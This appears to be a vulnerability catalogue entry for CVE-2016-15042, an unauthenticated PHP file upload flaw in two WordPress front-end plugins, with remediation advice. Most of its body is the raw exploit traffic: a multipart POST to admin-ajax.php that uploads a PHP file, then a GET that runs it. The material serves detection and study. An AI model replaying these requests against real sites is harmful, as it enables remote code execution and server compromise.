| Title | WordPress Frontend File Manager < 4.0 & N-Media Post Frontend < 1.1 - Arbitrary File Upload |
|---|---|
| Author | jsnv-dev |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload malicious files (such as PHP web shells) and execute arbitrary code, leading to complete server compromise, data theft, and potential lateral movement within the network. |
| Remediation | Update Frontend File Manager to version 4.0 or later, and N-Media Post Front-end Form to version 1.1 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.70789 |
| CVE ID | CVE-2016-15042 |
| CWE ID | CWE-434 |
| Tags | cve cve2016 wordpress wp-plugin n-media post-frontend intrusive unauth file-upload vkev vuln |
The Frontend File Manager plugin (<4.0) and N-Media Post Front-end Form plugin (<1.1) for WordPress were vulnerable to arbitrary file uploads due to missing file type validation. This allowed unauthenticated attackers to upload arbitrary files and potentially achieve remote code execution.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 500
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38Fhc2bXhYmY55gb67wkNvV7djM
Accept-Encoding: gzip
------WebKitFormBoundary38Fhc2bXhYmY55gb67wkNvV7djM
Content-Disposition: form-data; name="action"
nm_postfront_upload_file
------WebKitFormBoundary38Fhc2bXhYmY55gb67wkNvV7djM
Content-Disposition: form-data; name="name"
coMlbcqE
------WebKitFormBoundary38Fhc2bXhYmY55gb67wkNvV7djM
Content-Disposition: form-data; name="file"; filename="coMlbcqE"
Content-Type: application/octet-stream
<?php echo '38Fhc3wn0Xxh1wdCZOSPDQcEp8B'; ?>
------WebKitFormBoundary38Fhc2bXhYmY55gb67wkNvV7djM--
GET /wp-content/uploads/post_files/coMlbcqE HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-15042.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-15042.pcap
N/AN/A